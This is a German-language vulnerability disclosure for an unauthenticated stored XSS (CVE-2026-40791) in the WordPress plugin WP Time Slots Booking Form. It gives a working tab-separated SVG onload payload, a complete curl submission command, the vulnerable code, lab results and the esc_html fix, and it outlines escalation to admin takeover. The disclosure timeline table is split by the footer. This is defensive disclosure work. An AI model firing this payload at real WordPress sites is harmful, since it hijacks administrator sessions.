
CVE-2026-40791: Nicht authentifiziertes gespeichertes XSS in WP Time Slots Booking Form <= 1.2.46
Ich habe ein unauthentifiziertes gespeichertes XSS im WordPress-Plugin WP Time Slots Booking Form entdeckt. Eine öffentliche Buchungseingabe steuert einen Teil des gespeicherten Zeit-Slot-Werts. Das Plugin gibt diesen Wert später auf der Administrator-Seite „Buchungsaufträge“ aus, ohne ihn zu escapen.
Der Trick ist einfach: Das Plugin trennt die übermittelte Terminzeichenfolge anhand von Leerzeichen, aber HTML behandelt einen Tab als Leerraum zwischen Tag-Namen und Attribut. So übersteht 8:<svg[TAB]onload=...> den Plugin-Parser als Slot-Wert und wird zu echtem Markup, wenn der Admin die Buchungsliste öffnet.
| CVE | CVE-2026-40791 |
| Plugin | WP Time Slots Booking Form |
| Slug | wp-time-slots-booking-form |
| Betroffen | <= 1.2.46 |
| Behoben | 1.2.47 |
| Fehlerklasse | Unauthentifiziertes gespeichertes XSS (CWE-79) |
| Auswirkung | Öffentliche Buchung -> JavaScript in Admin-wp-admin-Sitzung |
| CVSS | 7.2 Hoch (Wordfence), 7.1 (Patchstack) |
| Entdecker | Daniel Wade |
Das öffentliche Buchungsformular akzeptiert dieses Feld:
fieldname1_1=2026-04-15 8:<svg[TAB]onload=alert(document.cookie)> 1 0 0 0 0 0 0
Das Plugin parst es wie folgt:
$item_split = explode(' ', $app_item_text);
...
'slot' => $item_split[1],
Da das Trennzeichen ein Tab und kein Leerzeichen ist, wird item_split[1] zu:
8:<svg onload=alert(document.cookie)>
Dieser Slot-Wert wird in die Buchung serialisiert. Wenn ein Administrator die Buchungsaufträge öffnet, gibt Version 1.2.46 ihn hier aus:
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
Kein Escaping. Das SVG onload feuert auf der Admin-Seite.
Es geht nicht nur darum, „Kann ich das Admin-Cookie lesen?“ Moderne WordPress-Auth-Cookies sind normalerweise HttpOnly, sodass document.cookie möglicherweise nicht das echte wordpress_sec_*-Cookie preisgibt. Wichtig ist, dass das Skript in einer authentifizierten Admin-origin-Seite läuft. Es kann same-origin Admin-Seiten abrufen, freigelegte Nonces auslesen und authentifizierte Admin-Anfragen vom Browser des Opfers senden.
Der angreifbare Ablauf:
unauthenticated POST
-> fieldname1_1
-> extract_appointments()
-> explode(' ', $input)[1]
-> $apps[]['slot']
-> serialize()
-> wp_cptslotsbk_messages.posted_data
-> unserialize()
-> Booking Orders appointment badge
-> unescaped HTML output
Der Parser geht davon aus, dass der Zeitslot nur Text ist. Das ist er nicht. Es handelt sich um eine Angabereingabe, die später in einem HTML-Kontext landet.
Die angreifbare Stelle befindet sich in cp-admin-int-message-list.inc.php:
$appts .= '<div class="ahb-appointment-badge">' .
'<span class="dashicons dashicons-clock"></span>' .
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
Dieses phpcs:ignore WordPress.Security.EscapeOutput erzählt die ganze Geschichte in einer Zeile. Die Escaping-Warnung wurde unterdrückt, obwohl vom Angreifer kontrollierte Buchungsdaten ausgegeben wurden.
Die Payload-Form:
8:<svg[TAB]onload=alert(document.cookie)>
Warum es funktioniert:
PHP explode(' ', ...)
"8:<svg<TAB>onload=...>" bleibt ein Token
Browser HTML Parser
<svg<TAB>onload=...> wird zu <svg onload=...>
Der Slot-Parser erhält den erwarteten Wert. Der Browser erhält das Tag, das er auszuführen weiß.
PowerShell:
.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2
Bash:
./poc/reproduce.sh "http://127.0.0.1" 2
Manuelles curl:
TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"
curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "cp_tslotsbooking_pform_process=1" \
--data-urlencode "cp_pform_psequence=_1" \
--data-urlencode "cp_tslotsbooking_id=1" \
--data-urlencode "fieldname1_1=2026-04-15 8:<svg${TAB}onload=alert(document.cookie)> 1 0 0 0 0 0 0" \
--data-urlencode "fieldname2_1=John Doe" \
--data-urlencode "[email protected]" \
--data-urlencode "fieldname4_1=1234567890" \
--data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "form_structure_1=" \
--data-urlencode "refpage_1=" \
--data-urlencode "cp_tslotsbooking_pform_status="
Erwartetes Ergebnis:
HTTP/1.1 302 Found
Melden Sie sich dann als Administrator an und öffnen:
WP Time Slots Booking Form -> Buchungsaufträge
Die Payload wird ausgeführt, wenn die gespeicherte Buchungszeile gerendert wird.
Ich habe die vollständige Kette in einem lokalen WordPress-Lab bestätigt:
PHP 8.3.31 für Windows
MariaDB 11.4.12 auf 127.0.0.1
WordPress
WP Time Slots Booking Form 1.2.46
CAPTCHA deaktiviert auf Formular 1
Öffentliche Seite mit [CP_TIME_SLOTS_BOOKING id="1"]
Der PowerShell-PoC wurde sauber übermittelt:
HTTP status: 302
Die Payload landete in wp_cptslotsbk_messages.posted_data:
slot";s:69:"8:<svg\tonload=document.body.setAttribute('data-cve40791','executed')>"
Headless Chrome meldete sich dann als Administrator an, öffnete Buchungsaufträge und sah den Marker, der durch den gespeicherten SVG-Handler gesetzt wurde:
ADMIN_XSS_EXECUTED
Ich habe die gleichen gespeicherten schädlichen Zeilen auch nach Austausch des Plugins gegen 1.2.47 getestet. Die Admin-Seite stellte die Payload als escaped Text dar:
04/15/2026 8:<svg onload=...>
Kein Marker wurde ausgelöst:
PATCHED_NO_XSS_EXECUTION
Es gibt auch einen kleinen lokalen Render-Sanity-Check:
powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1
Er überprüft die beiden mechanischen Teile ohne vollständige WordPress-Installation:
Parser check OK: literal-space split preserves tabbed SVG in slot index 1.
Browser check OK: tab-separated unquoted SVG onload executed in rendered HTML.
Der Angreifer benötigt kein Konto. Der Angreifer gibt eine öffentliche Buchung auf und wartet, bis ein Administrator die Buchungsaufträge ansieht.
Sobald der Admin diese Seite aufruft, wird das JavaScript des Angreifers im WordPress-Origin des Administrators ausgeführt. Ein echter Angreifer würde normalerweise nicht bei alert(document.cookie) stehen bleiben. Er würde den Admin-Browser als Administrator nutzen:
Admin-Seiten abrufen
-> Nonces aus HTML auslesen
-> authentifizierte Admin-POSTs senden
-> Seitenstatus ändern
Abhängig von den Rechten des Administrators und der Seitenkonfiguration kann dies bedeuten: Benutzer anlegen, Plugin-Einstellungen ändern, Benachrichtigungsziele ändern, Buchungs-/Kundendaten auslesen oder durch Plugin-/Theme-Funktionalität zur vollständigen Seitenübernahme eskalieren.
Version 1.2.47 escapt den gespeicherten Slot vor dem Aufbau des Admin-Badges:
- ' '.$posted_data["apps"][$k]["slot"].'</span>'
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>'
Das behebt die Senke. Eine frühere Bereinigung wäre auch sinnvoll, aber die Sicherheitsgrenze ist der HTML-Ausgabekontext in der Admin-Seite.
poc/
reproduce.ps1 # PowerShell unauthenticated booking submitter
reproduce.sh # Bash/curl unauthenticated booking submitter
lab/
render-check.html # Minimal vulnerable render fixture
validate-render.ps1 # Parser + browser execution sanity check
README.md
| Datum | Ereignis |
|---|---|
| 2026-03-24 | An Patchstack gemeldet |
| 2026-04-13 | Patch validiert |
| 2026-04-23 |
Haftungsausschluss: Dieser PoC wird zu defensiven Forschungs- und Überprüfungszwecken nach Verfügbarkeit des Patches veröffentlicht. Verwenden Sie ihn nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Berechtigung haben, sie zu testen.
CVE-2026-40791 - Behoben in WP Time Slots Booking Form 1.2.47. Betroffen: 1.2.46 und früher.
Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online
| Wordfence hat Advisory veröffentlicht |
| 2026-04-24 | Patchstack hat Advisory veröffentlicht |
| 2026-04-30 | Wordfence letzter Eintrag aktualisiert |